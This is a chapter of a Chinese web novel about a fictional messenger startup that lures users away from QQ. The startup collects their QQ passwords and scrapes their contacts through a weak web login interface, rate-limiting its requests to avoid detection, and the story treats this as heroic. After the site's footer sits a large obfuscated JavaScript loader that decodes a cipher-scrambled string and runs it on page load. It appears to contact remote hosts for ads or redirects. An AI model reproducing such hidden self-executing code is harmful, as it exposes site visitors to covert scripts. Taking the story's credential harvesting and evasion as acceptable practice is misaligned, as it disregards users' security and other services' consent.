第344章 一键转移
第344章一键转移(第1/2页)
第二天。
辰希科技技术部。
宽敞的开放式办公区内,整齐排列着几百台高配置电脑,机箱散热风扇发出持续而平稳的嗡嗡声。
林辰站在技术总监张栋的工位旁,看着屏幕上不断滚动的代码。
“老板!搞定了!”
阿杰从另一排工位快步跑了过来,眼眶周围带着熬夜留下的青黑,但整个人却处于一种异常兴奋的状态。
他手里拿着一份刚刚打印出来的测试日志,双手递到林辰面前。
“针对企鹅的‘好友一键转移’功能,我们已经完成了最终的底层封装!”
阿杰指着日志上的数据节点,快速汇报道,“我们彻底绕开了企鹅电脑客户端那种复杂的动态加密协议,直接走的是网页版Web企鹅的后台数据接口。”
“Web企鹅的底层防护非常薄弱,只要用户在我们的插件里输入账号和密码,我们的后台爬虫脚本就会模拟浏览器的环境,向企鹅的服务器发送POST请求,获取登录令牌。”
“拿到令牌后,直接调取他们的通讯录JSON数据包,整个过程不需要绕过任何高级防火墙,就能把用户的好友列表、全部分组结构、甚至是自定义的备注名称,一字不落地全部抓取过来!”
“测试了多少个样本账号?失败率是多少?”
林辰看着那份日志问道。
“我们用不同省份的IP节点测试了五万个样本账号,成功率百分之百!抓取解析的时间被我们压缩到了三秒钟以内。”
“而且,我们限制了单IP的请求频率,企鹅的后台安全系统目前完全没有察觉到任何异常的数据流出!”
张栋在旁边补充道,眼中满是对这项技术的自信。
林辰放下手里的测试日志,点了点头。
“干得不错。”
林辰转过身,看着张栋和阿杰,下达了明确的部署指令:“马上在飞鸽的PC客户端进行更新,把这个功能全量推送到所有用户的电脑上。”
“老板,我们要不要在做一个强制弹窗,或者在屏幕中央搞一个巨大的横幅广告,告诉用户我们推出了这个新功能?”
“现在外面360和企鹅闹得正凶,我们借机宣传一波,绝对能吸引大量的眼球!”
阿杰有些迫不及待地提议。
“不需要任何弹窗,也不需要任何官方提示。”
林辰直接否决了阿杰的建议,神色冷静。
“阿杰,你记住,当用户已经被各种流氓弹窗骚扰得心烦意乱的时候,我们再去弹窗,只会让他们把我们也归类为流氓软件。”
“我们飞鸽主打的标签就是‘纯净无打扰’,这个底线不能破。”
林辰在张栋的桌面上敲了两下:“把这个功能模块,做成一个简单、干净的按钮,名字就叫‘导入第三方联系人’。把它放在飞鸽主界面联系人列表的最上方,只要用户点开联系人面板,第一眼就能看到。”
“把选择权完全交给用户,当他们需要的时候,这个按钮就是他们唯一的救命稻草。”
张栋和阿杰立刻明白了林辰的用意,齐声答应,转身投入到最后的更新推送准备工作中。
……
京城某写字楼,一家广告传媒公司的办公室内。
资深文案策划王磊正坐在电脑前,烦躁地抓着自己的头发。
他的电脑屏幕右下角,奇虎360的绿色图标正弹出一个带有红色警告标志的提示框。
提示框上的文字十分醒目,明确指出电脑内安装的某聊天软件存在扫描用户硬盘隐私的风险,要求2选1。
而在屏幕的正中央,企鹅的客户端正卡在一个文件传输的页面,因为占用内存过大,导致他正在使用的文档编辑软件出现了严重的卡顿,鼠标光标在屏幕上缓慢地跳动着。
王磊的心中充满了烦躁与憋屈。
他早就受够了企鹅每天不定时弹出的各种新闻资讯和游戏广告。
对于他这种需要高度专注的职场白领来说,那些花花绿绿的弹窗严重影响了他的工作效率。
他非常信任360安全卫士,那是他电脑里防御病毒的唯一屏障。
现在,360弹出了明确的安全警告,理智告诉他,他应该立刻点击那个卸载按钮,把这个臃肿卡顿的聊天软件从电脑里彻底清除出去。
但是,他不敢点。
王磊看着企鹅面板上那些闪烁的群消息。
那里有“公司全员通知群”、“大客户沟通群”,还有他大学时代的“宿舍开黑群”。
这几百个联系人,几十个群组,是他这十几年积攒下来的全部社交与职场资源。
如果卸载了企鹅,他明天怎么接收老板下发的文件?
怎么联系那些重要的客户?
难道要一个个去打电话重新建立联系?
那种高昂的社交重建成本,是他一个普通打工人根本无法承受的。
“真恶心,仗着大家都离不开你,就这么绑架用户。”
王磊咬着牙低声骂了一句。
他陷入了痛苦的两难抉择中。
一边是电脑安全和糟糕的使用体验,另一边是无法割舍的社交关系链。
这种被互联网巨头利用垄断地位强行绑架的无力感,让王磊感到十分压抑。
为了给客户发送一份比较大的设计素材,王磊点开了桌面上那个绿色的飞鸽图标。
飞鸽的界面瞬间弹出,没有一丝卡顿,干干净净,没有任何广告。
王磊点开联系人面板,准备寻找客户的飞鸽账号。
就在这时,他的目光落在了联系人列表最上方,一个刚刚出现的新按钮上。
【导入第三方联系人】。
王磊愣了一下。他握着鼠标,将光标移动到那个按钮上,心中产生了一丝疑惑,同时也升起了一股死马当活马医的试探心理。
他点击了那个按钮。
屏幕中央弹出了一个简洁的输入框,提示他输入需要导入的第三方账号和密码,并且下方有一行灰色的严谨声明,承诺绝不保存用户的任何密码数据。
王磊犹豫了片刻,最终还是输入了自己的企鹅账号和密码,按下了键盘上的回车键。
屏幕上出现了一个绿色的进度条。
10%……50%……100%。
仅仅过去了不到不到三分钟,进度条瞬间跑满,提示框自动关闭。
王磊定睛看向飞鸽的联系人列表,整个人瞬间僵在当场,双眼睁得滚圆。
他简直不敢相信自己的眼睛。
首先被完美平移过来的,是他的“好友分组”。
“大客户一部”、“大学死党”、“老家亲戚”……
这些他在QQ里花费了大量心血建立的分类文件夹,一个不差地出现在了飞鸽的界面上。
王磊试探性地点击展开了“大学死党”这个分组。
里面一共八个人。
其中三个人的头像,是亮起的彩色,旁边显示着绿色的在线状态。
而剩下的五个人,头像是灰色的。
王磊把鼠标悬停在一个灰色头像上,旁边立刻浮现出一行干净的提示文字:
(本章未完,请点击下一页继续阅读)第344章一键转移(第2/2页)
【该联系人尚未注册飞鸽,系统已为您生成“影子联系人”,您可以点击此处,由飞鸽系统免费向其发送一条带有您专属邀请码的短信。对方注册后,将自动与您恢复好友关系。】
王磊倒吸了一口凉气。
保留自定义备注!
保留分组结构!
用“影子联系人”来占位!
这等于是说,哪怕他的朋友现在还没用飞鸽,飞鸽也已经帮他把整个社交关系网的“骨架”给完完整整地搭好了。
他根本不需要拿个小本子去记谁是谁,也不用担心卸载QQ后会跟以前的朋友断了联系。
紧接着,飞鸽的界面中央弹出了一份清晰的《群组迁移指南》。
【系统检测到您在原软件中拥有十二个活跃群聊。】
【飞鸽已为您在后台自动创建了十二个同名的空白群组。】
【点击下方“一键复制邀请函”,您可以将专属的群转移链接发送至原聊天软件,您的群友点击链接,即可免验证直接加入新的飞鸽群组。】
王磊看着屏幕上的这几行字,胸膛开始剧烈地起伏。
他懂了。
飞鸽没有强行去拉人,它只是提供了一把最锋利、最省事的铲子,让用户自己去把企鹅的墙角给挖过来。
太干净了,太周到了。
王磊感到一种前所未有的痛快感从心底涌起,直冲头顶。
那种困扰了他整整一上午的憋屈、压抑,以及对于失去社交联系的深深恐惧,在看到这套完美且合乎逻辑的“搬家工具”时,彻底烟消云散。
更换聊天软件最怕的是什么?
是重建社交圈的巨大成本。
而现在,林辰的团队用几行爬虫代码和精妙的“影子联系人”设计,把这座压在用户头顶的大山,轻描淡写地给搬走了。
“这才是真正拿用户当人看的产品!”
王磊咬着牙,低声骂了一句。
他没有任何犹豫,立刻点击了“一键复制邀请函”。
他打开那个因为占用内存过大而导致电脑卡顿的QQ客户端,将飞鸽生成的邀请链接,依次粘贴进了“公司通知群”和“大学死党群”。
他在链接下面敲上了一句话:
“各位,这破软件太卡了,全是弹窗广告,影响工作,我把群搬到飞鸽了,那边传文件秒传而且没广告,大家点链接直接过来,我以后在这边办公了。”
发完这几条消息,王磊看着QQ面板,眼中没有了一丝留恋。
他移动鼠标,光标稳稳地停在了电脑右下角奇虎360那带有红色警告标志的弹窗上。
对准那个【立即卸载】的按钮。
按下左键。
看着QQ客户端的卸载进度条在屏幕上快速走动,最后彻底从电脑硬盘里被抹除,王磊长长地呼出了一口气。
在这个上午,全国各地,无数个像王磊一样的职场白领、大学生和普通网民,都经历了同样的心路历程。
当他们发现飞鸽不仅没有广告,还提供了如此体面、合乎逻辑的社交转移方案后,最后一丝顾虑被彻底打消。
情绪的宣泄口一旦被打开,便再也无法阻挡。
天涯论坛、猫扑社区、以及各大高校的BBS论坛上,关于飞鸽新功能的帖子在短短几个小时内迅速被人工顶上了热搜榜首。
《神级反杀!飞鸽‘影子联系人’功能实测,这才是搬家的正确姿势!》
《企鹅的围墙塌了!附全套QQ群一键平移飞鸽链接教程!》
《宁可不要等级,也受够了流氓弹窗!今天我正式卸载QQ!》
网民们在帖子下方疯狂留言,分享着自己把整个寝室、整个部门拉进飞鸽群的截图。
大家在评论区里庆祝着重获选择的自由,表达着对企鹅臃肿生态的强烈不满。
一场规模浩大的、属于大夏国网民的自发性社交大迁徙,在互联网的底层数据链路上,正式爆发。
深城。
企鹅总部大厦,核心数据监控中心。
巨大的曲面数据监控屏幕占据了整面墙壁,上面显示着全国各地区的实时数据。
马总站在大屏幕前,双手背在身后。
他脸上的表情十分冷峻,脸色铁青,目光死死地盯着屏幕中央那条代表着企鹅实时在线人数的蓝色曲线。
那条曲线没有呈现出正常工作日应有的平稳波动,而是呈现出一种快速下跌趋势。
从中午十二点开始,在线人数的基数正在以每分钟几千的惊人速度不断缩水。
而在另一块副屏上,代表着企鹅客户端卸载量的红色柱状图,正在呈指数级猛增。
数据中心的负责主管满头大汗,手里拿着一份刚刚分析出来的底层技术报告,一路小跑来到马总身边。
“马总,查清楚了。”
技术主管咽了一口唾沫,低头看着手里的报告,“不是单纯因为360的弹窗逼迫导致用户卸载的。是辰希科技那边动了手脚!”
马总转过头,凌厉的目光落在技术主管的脸上,等待着具体的解释。
“飞鸽今天上午在PC端上线了一个新功能,他们利用了我们Web企鹅网页版登录接口的安全验证漏洞。”
技术主管快速汇报着技术细节,“飞鸽的后台服务器启动了大规模的自动化爬虫程序,只要用户在他们的软件里输入账号密码,他们就能绕过客户端的安全防护,直接从网页端的底层接口,大规模、自动化地抽吸我们服务器里的关系链数据。”
“因为网页版的接口原本是为了方便用户在没有安装客户端时使用的,防护等级不高,也没有针对高频并发的防抓取机制,所以被他们钻了空子。”
“现在,大量用户发现好友可以无缝转移,他们彻底没有了顾忌,开始大规模卸载我们的客户端。”
听完技术主管的汇报,马总的脸色变得更加难看。
他抬起右手,握紧拳头,重重地砸在面前的金属控制台上,发出一声沉闷的撞击声。
他太清楚社交关系链对企鹅意味着什么,那是企鹅这座千亿帝国存在的最根本基石。
只要关系链还在企鹅的服务器里,无论竞争对手的软件做得多好,用户都无法真正离开。
但现在,林辰用一个简单粗暴的网页端漏洞,直接把企鹅护城河里的水给抽干了。
这绝对不是一个巧合。
马总的目光重新投向大屏幕上那些刺眼的红色卸载数据,大脑中快速梳理着这几天发生的一切。
360的“扣扣保镖”在前面大张旗鼓地进行拦截和弹窗,搞2选1,吸引了企鹅全部的公关和技术防御注意力。
而飞鸽却在暗中不动声色地上线“一键转移”功能,在用户情绪最烦躁的时刻递上一把梯子。
“周教主在前面砸门,林辰在后面搬家。”
马总笃定,这绝对是360和辰希科技在背后联手做的一个局,一个专门针对企鹅社交根基的杀招。
恐慌与愤怒交织在每一位企鹅高管的心头。
他们引以为傲的社交护城河,正在被飞鸽利用网页端的接口漏洞,以一种自动化、大规模的方式强行抽干。
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();